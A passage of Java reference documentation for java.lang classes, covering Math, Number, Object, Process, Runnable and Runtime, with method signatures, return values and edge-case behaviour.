If the first argument is negative and finite and the second argument is positive infinity, the method returns negative zero. If the first argument is negative and finite and the second argument is negative infinity, the method returns the double value closest to -pi.

If the first argument is positive and the second argument is positive zero or negative zero, the method returns the double value closest to pi/2. If the first argument is negative and the second argument is positive or negative zero, the method returns the double value closest to -pi/2.

If the first argument is positive infinity and the second argument is finite, the method returns the double value closest to pi/2. If the first argument is negative infinity and the second argument is finite, the method returns the double value closest to -pi/2.

If both arguments are positive infinity, the method returns the double value closest to pi/4. If the first argument is positive infinity and the second argument is negative infinity, the method returns the double value closest to 3pi/4. If the first argument is negative infinity and the second argument is positive infinity, the method returns the double value closest to -pi/4. If both arguments are negative infinity, the method returns the double value closest to -3pi/4.

ceil

public static native double ceil(double a)

Parameters

a

A double value.

Returns

The smallest integer greater than or equal to the given value.

Description

This method performs the ceiling operation. It returns the smallest integer that is greater than or equal to its argument.

If the argument is NaN, an infinity value, or a zero value, the method returns that same value. If the argument is less than zero but greater than -1.0, the method returns negative zero.

cos

public static native double cos(double a)

Parameters

a

A double value that's an angle measured in radians.

Returns

The cosine of the given angle.

Description

This method returns the cosine of the given angle measured in radians.

If the angle is NaN or an infinity value, the method returns NaN.

exp

public static native double exp(double a)

Parameters

a

A double value.

Returns

e^a

Description

This method returns the exponential function of a. In other words, e is raised to the value specified by the parameter a, where e is the base of the natural logarithms.

If the value is NaN, the method returns NaN. If the value is positive infinity, the method returns positive infinity. If the value is negative infinity, the method returns positive zero.

floor

public static native double floor(double a)

Parameters

a

A double value.

Returns

The greatest integer less than or equal to the given value.

Description

This method performs the floor operation. It returns the largest integer that is less than or equal to its argument.

If the argument is NaN, an infinity value, or a zero value, the method returns that same value.

IEEEremainder

public static native double IEEEremainder(double a, double b)

Parameters

a

A double value.

b

A double value.

Returns

The remainder of a divided by b as defined by the IEEE 754 standard.

Description

This method returns the remainder of a divided by b as defined by the IEEE 754 standard. This operation involves first determining the mathematical quotient of a/b rounded to the nearest integer. If the quotient is equally close to two integers, it is rounded to the even integer. The method then returns a-(b x Q), where Q is the rounded quotient.

If either argument is NaN, the method returns NaN. If the first argument is positive or negative infinity and the second argument is positive or negative zero, the method also returns NaN. If the first argument is a finite value and the second argument is positive or negative infinity, the method returns its first argument.

log

public static native double log(double a)

Parameters

a

A double value that is greater than 0.0.

Returns

The natural logarithm of a.

Description

This method returns the natural logarithm (base e) of its argument.

In particular, if the argument is positive infinity, the method returns positive infinity. If the argument is positive or negative zero, the method returns negative infinity. If the argument is less than zero, the method returns NaN. If the argument is NaN, the method returns NaN.

max

public static double max(double a, double b)

Parameters

a

A double value.

b

A double value.

Returns

The greater of a and b.

Description

This method returns the greater of its two arguments. In other words, it returns the one that is closer to positive infinity.

If one argument is positive zero and the other is negative zero, the method returns positive zero. If either argument is NaN, the method returns NaN.

public static float max(float a, float b)

Parameters

a

A float value.

b

A float value.

Returns

The greater of a and b.

Description

This method returns the greater of its two arguments. In other words, it returns the one that is closer to positive infinity.

If one argument is positive zero and the other is negative zero, the method returns positive zero. If either argument is NaN, the method returns NaN.

public static int max(int a, int b)

Parameters

a

An int value.

b

An int value.

Returns

The greater of a and b.

Description

This method returns the greater of its two arguments. In other words, it returns the one that is closer to Integer.MAX_VALUE.

public static long max(long a, long b)

Parameters

a

A long value.

b

A long value.

Returns

The greater of a and b.

Description

This method returns the greater of its two arguments. In other words, it returns the one that is closer to Long.MAX_VALUE.

min

public static double min(double a, double b)

Parameters

a

A double value.

b

A double value.

Returns

The lesser of a and b.

Description

This method returns the lesser of its two arguments. In other words, it returns the one that is closer to negative infinity.

If one argument is positive zero and the other is negative zero, the method returns negative zero. If either argument is NaN, the method returns NaN.

public static float min(float a, float b)

Parameters

a

A float value.

b

A float value.

Returns

The lesser of a and b.

Description

This method returns the lesser of its two arguments. In other words, it returns the one that is closer to negative infinity.

If one argument is positive zero and the other is negative zero, the method returns negative zero. If either argument is NaN, the method returns NaN.

public static int min(int a, int b)

Parameters

a

An int value.

b

An int value.

Returns

The lesser of a and b.

Description

This method returns the lesser of its two arguments. In other words, it returns the one that is closer to Integer.MIN_VALUE.

public static long min(long a, long b)

Parameters

a

A long value.

b

A long value.

Returns

The lesser of a and b.

Description

This method returns the lesser of its two arguments. In other words, it returns the one that is closer to Long.MIN_VALUE.

pow

public static native double pow(double a, double b)

Parameters

a

A double value.

b

A double value.

Returns

a^b

Description

This method computes the value of raising a to the power of b.

If the second argument is positive or negative zero, the method returns 1.0. If the second argument is 1.0, the method returns its first argument. If the second argument is NaN, the method returns NaN. If the first argument is NaN and the second argument is nonzero, the method returns NaN.

If the first argument is positive zero and the second argument is greater than zero, the method returns positive zero. If the first argument is positive zero and the second argument is less than zero, the method returns positive infinity.

If the first argument is positive infinity and the second argument is less than zero, the method returns positive zero. If the first argument is positive infinity and the second argument is greater than zero, the method returns positive infinity.

If the absolute value of the first argument is greater than 1 and the second argument is positive infinity, the method returns positive infinity. If the absolute value of the first argument is greater than 1 and the second argument is negative infinity, the method returns positive zero. If the absolute value of the first argument is less than 1 and the second argument is negative infinity, the method returns positive infinity. If the absolute value of the first argument is less than 1 and the second argument is positive infinity, the method returns positive zero. If the absolute value of the first argument is 1 and the second argument is positive or negative infinity, the method returns NaN.

If the first argument is negative zero and the second argument is greater than zero but not a finite odd integer, the method returns positive zero. If the first argument is negative zero and the second argument is a positive finite odd integer, the method returns negative zero. If the first argument is negative zero and the second argument is less than zero but not a finite odd integer, the method returns positive infinity. If the first argument is negative zero and the second argument is a negative finite odd integer, the method returns negative infinity.

If the first argument is negative infinity and the second argument is less than zero but not a finite odd integer, the method returns positive zero. If the first argument is negative infinity and the second argument is a negative finite odd integer, the method returns negative zero. If the first argument is negative infinity and the second argument is greater than zero but not a finite odd integer, the method returns positive infinity. If the first argument is negative infinity and the second argument is a positive finite odd integer, the method returns negative infinity.

If the first argument is less than zero and the second argument is a finite even integer, the method returns the result of the absolute value of the first argument raised to the power of the second argument. If the first argument is less than zero and the second argument is a finite odd integer, the method returns the negative of the result of the absolute value of the first argument raised to the power of the second argument. If the first argument is finite and less than zero and the second argument is finite and not an integer, the method returns NaN.

If both arguments are integer values, the method returns the first argument raised to the power of the second argument.

random

public static synchronized double random()

Returns

A random number between 0.0 and 1.0.

Description

This method returns a random number greater than or equal to 0.0 and less than 1.0. The implementation of this method uses the java.util.Random class. You may prefer to use the Random class directly, in order to gain more control over the distribution, type, and repeatability of the random numbers you are generating.

rint

public static native double rint(double a)

Parameters

a

A double value.

Returns

The value of its argument rounded to the nearest integer.

Description

This method returns its argument rounded to the nearest integer; the result is returned as a double value. If the argument is equidistant from two integers (e.g., 1.5), the method returns the even integer.

If the argument is an infinity value, a zero value, or NaN, the method returns that same value.

round

public static long round(double a)

Parameters

a

A double value.

Returns

The value of its argument rounded to the nearest long.

Description

This method returns its double argument rounded to the nearest integral value and converted to a long. If the argument is equidistant from two integers, the method returns the greater of the two integers.

If the argument is positive infinity or any other value greater than Long.MAX_VALUE, the method returns Long.MAX_VALUE. If the argument is negative infinity or any other value less than Long.MIN_VALUE, the method returns Long.MIN_VALUE. If the argument is NaN, the method returns 0.

public static int round(float a)

Parameters

a

A float value.

Returns

The value of its argument rounded to the nearest int.

Description

This method returns its float argument rounded to the nearest integral value and converted to an int. If the argument is equidistant from two integers, the method returns the greater of the two integers.

If the argument is positive infinity or any other value greater than the Integer.MAX_VALUE, the method returns Integer.MAX_VALUE. If the argument is negative infinity or any other value less than Integer.MIN_VALUE, the method returns Integer.MIN_VALUE. If the argument is NaN, the method returns 0.

sin

public static native double sin(double a)

Parameters

a

A double value that's an angle measured in radians.

Returns

The sine of the given angle.

Description

This method returns the sine of the given angle measured in radians.

If the angle is NaN or an infinity value, the method returns NaN. If the angle is positive zero, the method returns positive zero. If the angle is negative zero, the method returns negative zero.

sqrt

public static native double sqrt(double a)

Parameters

a

A double value.

Returns

The square root of its argument.

Description

This method returns the square root of its argument.

If the argument is negative or NaN, the method returns NaN. If the argument is positive infinity, the method returns positive infinity. If the argument is positive or negative zero, the method returns that same value.

tan

public static native double tan(double a)

Parameters

a

A double value that is an angle measured in radians.

Returns

The tangent of the given angle.

Description

This method returns the tangent of the given angle measured in radians.

If the angle is NaN or an infinity value, the method returns NaN. If the angle is positive zero, the method returns positive zero. If the angle is negative zero, the method returns negative zero.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Double;
Float;
Floating-point literals;
Floating-point types;
Integer;
Integer literals;
Integer types;
Long;
Object

Previous | Home | Next
Long | Book Index | Number
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Number

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Number

Name

Number

Synopsis

Class Name:

java.lang.Number

Superclass:

java.lang.Object

Immediate Subclasses:

java.lang.Byte, java.lang.Double,

java.lang.Float, java.lang.Integer,

java.lang.Long, java.lang.Short,

java.math.BigDecimal,

java.math.BigInteger

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The Number class is an abstract class that serves as the superclass for all of the classes that provide object wrappers for primitive numeric values: byte, short, int, long, float, and double. Wrapping a primitive value is useful when you need to treat such a value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a primitive value for one of these arguments, but you can provide a reference to an object that encapsulates the primitive value. Furthermore, as of JDK 1.1, these wrapper classes are necessary to support the Reflection API and class literals.

The Number class defines six methods that must be implemented by its subclasses: byteValue(), shortValue(), intValue(), longValue(), floatValue(), and doubleValue(). This means that a Number object can be fetched as an byte, short, int, long, float, or double value, without regard for its actual class.

Class Summary

public abstract class java.lang.Number extends java.lang.Number
                                       implements java.io.Serializable {
    // Instance Methods
    public abstract byte byteValue();                  // New in 1.1
    public abstract double doubleValue();
    public abstract float floatValue();
    public abstract int intValue();
    public abstract long longValue();
    public abstract short shortValue();                // New in 1.1
}

Instance Methods

byteValue

public abstract byte byteValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a byte.

Description

This method returns the value of this object as a byte. If the data type of the value is not byte, rounding may occur.

doubleValue

public abstract double doubleValue()

Returns

The value of this object as a double.

Description

This method returns the value of this object as a double. If the data type of the value is not double, rounding may occur.

floatValue

public abstract float floatValue()

Returns

The value of this object as a float.

Description

This method returns the value of this object as a float. If the data type of the value is not float, rounding may occur.

intValue

public abstract int intValue()

Returns

The value of this object as an int.

Description

This method returns the value of this object as an int. If the type of value is not an int, rounding may occur.

longValue

public abstract long longValue()

Returns

The value of this object as a long.

Description

This method returns the value of this object as a long. If the type of value is not a long, rounding may occur.

shortValue

public abstract short shortValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a short.

Description

This method returns the value of this object as a short. If the type of value is not a short, rounding may occur.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Byte;
Double;
Float;
Integer;
Long;
Object;
Short

Previous | Home | Next
Math | Book Index | Object
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Object

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Object

Name

Object

Synopsis

Class Name:

java.lang.Object

Superclass:

None

Immediate Subclasses:

Too many to be listed here

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Object class is the ultimate superclass of all other classes in Java. Because every other class is a subclass of Object, all of the methods accessible from Object are inherited by every other class. In other words, all objects in Java, including arrays, have access to implementations of the methods in Object.

The methods of Object provide some basic object functionality. The equals() method compares two objects for equality, while the hashCode() method returns a hashcode for an object. The getClass() method returns the Class object associated with an object. The wait(), notify(), and notifyAll() methods support thread synchronization for an object. The toString() method provides a string representation of an object.

Some of these methods should be overridden by subclasses of Object. For example, every class should provide its own implementation of the toString() method, so that it can provide an appropriate string representation.

Although it is possible to create an instance of the Object class, this is rarely done because it is more useful to create specialized objects. However, it is often useful to declare a variable that contains a reference to an Object because such a variable can contain a reference to an object of any other class.

Class Summary

public class java.lang.Object {
    // Constructors
    public Object();
    // Public Instance Methods
    public boolean equals(Object obj);
    public final native Class getClass();
    public native int hashCode();
    public final native void notify();
    public final native void notifyAll();
    public String toString();
    public final native void wait();
    public final native void wait(long millis);
    public final native void wait(long millis, int nanos);
    // Protected Instance Methods
    protected native Object clone();
    protected void finalize() throws Throwable;
}

Constructors

Object

public Object()

Description

Creates an instance of the Object class.

Public Instance Methods

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Description

The equals() method of Object returns true if the obj parameter refers to the same object as the object this method is associated with. This is equivalent to using the == operator to compare two objects.

Some classes, such as String, override the equals() method to provide a comparison based on the contents of the two objects, rather than on the strict equality of the references. Any subclass can override the equals() method to implement an appropriate comparison, as long as the overriding method satisfies the following rules for an equivalence relation:

  • The method is reflexive : given a reference x, x.equals(x) returns true.

  • The method is symmetric : given references x and y, x.equals(y) returns true if and only if y.equals(x) returns true.

  • The method is transitive : given references x, y, and z, if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) returns true.

  • The method is consistent : given references x and y, multiple invocations of x.equals(y) consistently return true or consistently return false, provided that no information contained by the objects referenced by x or y changes.

  • A comparison with null returns false: given a reference x that is non-null, x.equals(null) returns false.

getClass

public final native Class getClass()

Returns

A reference to the Class object that describes the class of this object.

Description

The getClass() method of Object returns the Class object that describes the class of this object. This method is final, so it cannot be overridden by subclasses.

hashCode

public native int hashCode()

Returns

A relatively unique value that should be the same for all objects that are considered equal.

Description

The hashCode() method of Object calculates a hashcode value for this object. The method returns an integer value that should be relatively unique to the object. If the equals() method for the object bases its result on the contents of the object, the hashcode() method should also base its result on the contents. The hashCode() method is provided for the benefit of hashtables, which store and retrieve elements using key values called hashcodes. The internal placement of a particular piece of data is determined by its hashcode; hashtables are designed to use hashcodes to provide efficient retrieval.

The java.util.Hashtable class provides an implementation of a hashtable that stores values of type Object. Each object is stored in the hashtable based on the hash code of its key object. It is important that each object have the most unique hash code possible. If two objects have the same hash code but they are not equal (as determined by equals()), a Hashtable that stores these two objects may need to spend additional time searching when it is trying to retrieve objects. The implementation of hashCode() in Object tries to make sure that every object has a distinct hash code by basing its result on the internal representation of a reference to the object.

Some classes, such as String, override the hashCode() method to produce values based on the contents of individual objects, instead of the objects themselves. In other words, two String objects that contain the exact same strings have the same hash code. If String did not override the hashCode() method inherited from Object, these two String objects would have different hash code values and it would be impossible to use String objects as keys for hashtables.

Any subclass can override the hashCode() method to implement an appropriate way of producing hash code values, as long as the overriding method satisfies the following rules:

  • If the hashCode() method is called on the same object more than once during the execution of a Java application, it must consistently return the same integer value. The integer does not, however, need to be consistent between Java applications, or from one execution of an application to another execution of the same application.

  • If two objects compare as equal according to their equals() methods, calls to the hashCode() methods for the objects must produce the same result.

  • If two objects compare as not equal according to their equals() methods, calls to the hashCode() methods for the two objects are not required to produce distinct results. However, implementations of hashCode() that produce distinct results for unequal objects may improve the performance of hashtables.

In general, if a subclass overrides the equals() method of Object, it should also override the hashCode() method.

notify

public final native void notify()

Throws

IllegalMonitorStateException

If the method is called from a thread that does not hold this object's lock.

Description

The notify() method wakes up a thread that is waiting to return from a call to this object's wait() method. The awakened thread can resume executing as soon as it regains this object's lock. If more than one thread is waiting, the notify() method arbitrarily awakens just one of the threads.

The notify() method can be called only by a thread that is the current owner of this object's lock. A thread holds the lock on this object while it is executing a synchronized instance method of the object or executing the body of a synchronized statement that synchronizes on the object. A thread can also hold the lock for a Class object if it is executing a synchronized static method of that class.

This method is final, so it cannot be overridden by subclasses.

notifyAll

public final native void notifyAll()

Throws

IllegalMonitorStateException

If the method is called from a thread that does not hold this object's lock.

Description

The notifyAll() method wakes up all the threads that are waiting to return from a call to this object's wait() method. Each awakened thread can resume executing as soon as it regains this object's lock.

The notifyAll() method can be called only by a thread that is the current owner of this object's lock. A thread holds the lock on this object while it is executing a synchronized instance method of the object or executing the body of a synchronized statement that synchronizes on the object. A thread can also hold the lock for a Class object if it is executing a synchronized static method of that class.

This method is final, so it cannot be overridden by subclasses.

toString

public String toString()

Returns

The string representation of this object.

Description

The toString() method of Object returns a generic string representation of this object. The method returns a String that consists of the object's class name, an "at" sign, and the unsigned hexadecimal representation of the value returned by the object's hashCode() method.

Many classes override the toString() method to provide a string representation that is specific to that type of object. Any subclass can override the toString() method; the overriding method should simply return a String that represents the contents of the object with which it is associated.

wait

public final native void wait() throws InterruptedException

Throws

IllegalMonitorStateException

If the method is called from a thread that does not hold this object's lock.

InterruptedException

If another thread interrupted this thread.

Description

The wait() method causes a thread to wait until it is notified by another thread to stop waiting. When wait() is called, the thread releases its lock on this object and waits until another thread notifies it to wake up through a call to either notify() or notifyAll(). After the thread is awakened, it has to regain the lock on this object before it can resume executing.

The wait() method can be called only by a thread that is the current owner of this object's lock. A thread holds the lock on this object while it is executing a synchronized instance method of the object or executing the body of a synchronized statement that synchronizes on the object. A thread can also hold the lock for a Class object if it is executing a synchronized static method of that class.

This method is final, so it cannot be overridden by subclasses.

 public final native void wait(long timeout) throws InterruptedException

Parameters

timeout

The maximum number of milliseconds to wait.

Throws

IllegalMonitorStateException

If the method is called from a thread that does not hold this object's lock.

InterruptedException

If another thread interrupted this thread.

Description

The wait() method causes a thread to wait until it is notified by another thread to stop waiting or until the specified amount of time has elapsed, whichever comes first. When wait() is called, the thread releases its lock on this object and waits until another thread notifies it to wake up through a call to either notify() or notifyAll(). If the thread is not notified within the specified timeout period, it is automatically awakened when that amount of time has elapsed. If timeout is zero, the thread waits indefinitely, just as if wait() had been called without a timeout argument. After the thread is awakened, it has to regain the lock on this object before it can resume executing.

The wait() method can be called only by a thread that is the current owner of this object's lock. A thread holds the lock on this object while it is executing a synchronized instance method of the object or executing the body of a synchronized statement that synchronizes on the object. A thread can also hold the lock for a Class object if it is executing a synchronized static method of that class.

This method is final, so it cannot be overridden by subclasses.

 public final native void wait(long timeout, int nanos) throws InterruptedException

Parameters

timeout

The maximum number of milliseconds to wait.

nanos

An additional number of nanoseconds to wait.

Throws

IllegalMonitorStateException

If the method is called from a thread that does not hold this object's lock.

InterruptedException

If another thread interrupted this thread.

Description

The wait() method causes a thread to wait until it is notified by another thread to stop waiting or until the specified amount of time has elapsed, whichever comes first. When wait() is called, the thread releases its lock on this object and waits until another thread notifies it to wake up through a call to either notify() or notifyAll(). If the thread is not notified within the specified time period, it is automatically awakened when that amount of time has elapsed. If timeout and nanos are zero, the thread waits indefinitely, just as if wait() had been called without any arguments. After the thread is awakened, it has to regain the lock on this object before it can resume executing.

The wait() method can be called only by a thread that is the current owner of this object's lock. A thread holds the lock on this object while it is executing a synchronized instance method of the object or executing the body of a synchronized statement that synchronizes on the object. A thread can also hold the lock for a Class object if it is executing a synchronized static method of that class.

Note that Sun's reference implementation of Java does not attempt to implement the precision implied by this method. Instead, it rounds to the nearest millisecond (unless timeout is 0, in which case it rounds up to 1 millisecond) and calls wait(long).

This method is final, so it cannot be overridden by subclasses.

Protected Instance Methods

clone

protected native Object clone() throws CloneNotSupportedException

Returns

A clone of this object.

Throws

OutOfMemoryError

If there is not enough memory to create the new object.

CloneNotSupportedException

If the object is of a class that does not support clone().

Description

A clone of an object is another object of the same type that has all of its instance variables set to the same values as the object being cloned. In other words, a clone is an exact copy of the original object.

The clone() method of Object creates a new object that is a clone of this object. No constructor is used in creating the clone. The clone() method only clones an object if the class of that object indicates that its instances can be cloned. A class indicates that its objects can be cloned by implementing the Cloneable interface.

Although array objects do not implement the Cloneable interface, the clone() method works for arrays. The clone of an array is an array that has the same number of elements as the original array, and each element in the clone array has the same value as the corresponding element in the original array. Note that if an array element contains an object reference, the clone array contains a reference to the same object, not a copy of the object.

A subclass of Object can override the clone() method in Object to provide any additional functionality that is needed. For example, if an object contains references to other objects, the clone() method should recursively call the clone() methods of all the referenced objects. An overriding clone() method can throw a CloneNotSupportedException to indicate that particular objects cannot be cloned.

finalize

protected void finalize() throws Throwable

Throws

Throwable

For any reason that suits an overriding implementation of this method.

Description

The finalize() method is called by the garbage collector when it decides that an object can never be referenced again. The method gives an object a chance to perform any cleanup operations that are necessary before it is destroyed by the garbage collector.

The finalize() method of Object does nothing. A subclass overrides the finalize() method to perform any necessary cleanup operations. The overriding method should call super.finalize() as the very last thing it does, so that any finalize() method in the superclass is called.

When the garbage collector calls an object's finalize() method, the garbage collector does not immediately destroy the object because the finalize() method might do something that results in a reference to the object. Thus the garbage collector waits to destroy the object until it can again prove it is safe to do so. The next time the garbage collector decides it is safe to destroy the object, it does so without calling finalize() again. In other words, the garbage collector never calls the finalize() method more than once for a particular object.

A finalize() method can throw any kind of exception. An exception causes the finalize() method to stop running. The garbage collector then catches and ignores the exception, so it has no further effect on a program.

See Also

Equality Comparison Operators;
Exceptions;
Object Destruction;
The finalize method;
String;
Threads 8;
Throwable

Previous | Home | Next
Number | Book Index | Process
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Process

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Process

Name

Process

Synopsis

Class Name:

java.lang.Process

Superclass:

java.lang.Object

Immediate Subclasses:

None that are provided on all platforms. However, a platform-specific version of Java should include at least one operating-system-specific subclass.

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Process class describes processes that are started by the exec() method in the Runtime class. A Process object controls a process and gets information about it.

The Process class is an abstract class; therefore, it cannot be instantiated. The actual Process objects created by the exec() method belong to operating-system-specific subclasses of Process that implement the Process methods in platform-dependent ways.

Note that losing all references to a Process object, thereby making it garbage collectable, does not result in the underlying Process object dying. It merely means that there is no longer a Java object to control the process. The process itself continues to run asynchronously. In addition, no guarantees are made as to whether a controlled process will be able to continue after its parent process dies.

Class Summary

public abstract class java.lang.Process extends java.lang.Object {
    // Constructors
    public Process();
    // Instance Methods
    public abstract void destroy();
    public abstract int exitValue();
    public abstract InputStream getErrorStream();
    public abstract InputStream getInputStream();
    public abstract OutputStream getOutputStream();
    public abstract int waitFor();
}

Constructors

Process

public Process()

Description

Creates a Process object.

Instance Methods

destroy

abstract public void destroy()

Description

This method kills the process controlled by this object.

exitValue

abstract public int exitValue()

Returns

The exit value of the process controlled by this object.

Throws

IllegalThreadStateException

If the process is still running and the exit value is not yet available.

Description

This method returns the exit value of the process that this object is controlling.

The waitFor() method is a similar method that waits for the controlled process to terminate and then returns its exit value.

getErrorStream

abstract public InputStream getErrorStream()

Returns

An InputStream object connected to the error stream of the process.

Description

This method returns an InputStream object that can read from the error stream of the process.

Although it is suggested that this InputStream not be buffered, the Java specification does not forbid such an implementation. In other words, although error output from programs is traditionally unbuffered, there is no guarantee that it won't be buffered. This means that error output written by the process may not be received immediately.

getInputStream

abstract public InputStream getInputStream()

Returns

An InputStream object that is connected to the standard output stream of the process.

Description

This method returns an InputStream object that can read from the standard output stream of the process.

This InputStream is likely to be buffered, which means that output written by the process may not be received immediately.

getOutputStream

abstract public OutputStream getOutputStream()

Returns

An OutputStream object that is connected to the standard input stream of the process.

Description

This method returns an OutputStream object that can write to the standard input stream of the process.

This OutputStream is likely to be buffered, which means that input sent to the process may not be received until the buffer fills up or a new line or carriage-return character is sent.

waitFor

abstract public int waitFor()

Returns

The exit value of the process controlled by this object.

Throws

InterruptedException

If another thread interrupts this thread while it is waiting for the process to exit.

Description

This method returns the exit value of the process that this object is controlling. If the process is still running, the method waits until the process terminates and its exit value is available.

The exitValue() method is a similar method that does not wait for the controlled process to terminate.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exceptions; Object; Runtime

Previous | Home | Next
Object | Book Index | Runnable
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Runnable

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Runnable

Name

Runnable

Synopsis

Interface Name:

java.lang.Runnable

Super-interface:

None

Immediate Sub-interfaces:

None

Implemented By:

java.lang.Thread

Availability:

JDK 1.0 or later

Description

The Runnable interface declares the run() method that is required for use with the Thread class. Any class that implements the Runnable interface must define a run() method. This method is the top-level code that is run by a thread.

Interface Declaration

public interface java.lang.Runnable {
    // Methods
    public abstract void run();
}

Methods

run

public abstract void run()

Description

When a Thread object starts running a thread, it associates executable code with the thread by calling a Runnable object's run() method. The subsequent behavior of the thread is controlled by the run() method. Thus, a class that wants to perform certain operations in a separate thread should implement the Runnable interface and define an appropriate run() method. When the run() method called by a Thread object returns or throws an exception, the thread dies.

See Also

Thread; ThreadGroup; Threads 8

Previous | Home | Next
Process | Book Index | Runtime
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Runtime

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Runtime

Name

Runtime

Synopsis

Class Name:

java.lang.Runtime

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Runtime class provides access to various information about the environment in which a program is running. The Java run-time environment creates a single instance of this class that is associated with a program. The Runtime class does not have any public constructors, so a program cannot create its own instances of the class. A program must call the getRuntime() method to get a reference to the current Runtime object.

Information about operating system features is accessible through the System class.

Class Summary

public class java.lang.Runtime extends java.lang.Object {
    // Class Methods
    public static Runtime getRuntime();
    public static void runFinalizersOnExit(boolean value);  // New in 1.1
    // Instance Methods
    public Process exec(String command);
    public Process exec(String command, String envp[]);
    public Process exec(String cmdarray[]);
    public Process exec(String cmdarray[], String envp[]);
    public void exit(int status);
    public native long freeMemory();
    public native void gc();
    public InputStream
           getLocalizedInputStream(InputStream in);      // Deprecated in 1.1
    public OutputStream
           getLocalizedOutputStream(OutputStream out);   // Deprecated in 1.1
    public synchronized void load(String filename);
    public synchronized void loadLibrary(String libname);
    public native void runFinalization();
    public native long totalMemory();
    public native void traceInstructions(boolean on);
    public native void traceMethodCalls(boolean on);
}

Class Methods

getRuntime

public static Runtime getRuntime()

Returns

A reference to the current Runtime object.

Description

This method returns a reference to the current Runtime object. Because the other methods of the Runtime class are not static, a program must call this method first in order to get a reference to a Runtime object that can be used in calling the other methods.

runFinalizersOnExit

public static void runFinalizersOnExit(boolean value)

Availability

New as of JDK 1.1

Parameters

value

A boolean value that specifies whether or not finalization occurs on exit.

Throws

SecurityException

If the checkExit() method of the SecurityManager throws a SecurityException.

Description

This method specifies whether or not the finalize() methods of all objects that have finalize() methods are run before the Java virtual machine exits. By default, the finalizers are not run on exit.

Instance Methods

exec

public Process exec(String command) throws IOException

Parameters

command

A string that contains the name of an external command and any arguments to be passed to it.

Returns

A Process object that controls the process started by this method.

Throws

IOException

If there is a problem finding or accessing the specified external command.

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method starts a new process to execute the given external command. The standard input, standard output, and standard error streams from the process are redirected to OutputStream and InputStream objects that are accessible through the Process object returned by this method.

Calling this method is equivalent to:

exec(command, null)

 public Process exec(String command, String[] envp) throws IOException

Parameters

command

A string that contains the name of an external command and any arguments to be passed to it.

envp

An array of strings that specifies the values for the environment variables of the new process. Each String in the array should be of the form variableName =value. If envp is null, the values of the environment variables in the current process are copied to the new process.

Returns

A Process object that controls the process started by this method.

Throws

IOException

If there is a problem finding or accessing the specified external command.

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method starts a new process to execute the given external command. The standard input, standard output, and standard error streams from the process are redirected to OutputStream and InputStream objects that are accessible through the Process object returned by this method.

The method parses the command string into words that are separated by whitespace. It creates a String object for each word and places word String objects into an array. If that array is called commandArray, calling this method is equivalent to:

exec(commmandArray, envp)

 public Process exec(String[] commandArray) throws IOException

Parameters

commandArray

An array of strings that contains separate strings for the name of an external command and any arguments to be passed to it. The first string in the array must be the command name.

Returns

A Process object that controls the process started by this method.

Throws

IOException

If there is a problem finding or accessing the specified external command.

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method starts a new process to execute the given external command. The standard input, standard output, and standard error streams from the process are redirected to OutputStream and InputStream objects that are accessible through the Process object returned by this method.

Calling this method is equivalent to:

exec(commandArray, null)

 public Process exec(String[] commandArray, String[] envp) throws IOException

Parameters

commandArray

An array of strings that contains separate strings for the name of an external command and any arguments to be passed to it. The first string in the array must be the command name.

envp

An array of strings that specifies the values for the environment variables of the new process. Each String in the array should be of the form variableName =value. If envp is null, the values of the environment variables in the current process are copied to the new process.

Returns

A Process object that controls the process started by this method.

Throws

IOException

If there is a problem finding or accessing the specified external command.

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method starts a new process to execute the given external command. The standard input, standard output, and standard error streams from the process are redirected to OutputStream and InputStream objects that are accessible through the Process object returned by this method.

exit

public void exit(int status)

Parameters

status

The exit status code to use.

Throws

SecurityException

If the checkExit() method of the SecurityManager throws a SecurityException.

Description

This method causes the Java virtual machine to exit with the given status code. By convention, a nonzero status code indicates abnormal termination. This method never returns.

freeMemory

public native long freeMemory()

Returns

An estimate of the number of free bytes in system memory.

Description

This method returns an estimate of the number of free bytes in system memory. The value returned by this method is always less than the value returned by totalMemory(). Additional memory may be freed by calling the gc() method.

gc

public native void gc()

Description

This method causes the Java virtual machine to run the garbage collector in the current thread.

The garbage collector finds objects that will never be used again because there are no live references to them. After it finds these objects, the garbage collector frees the storage occupied by these objects.

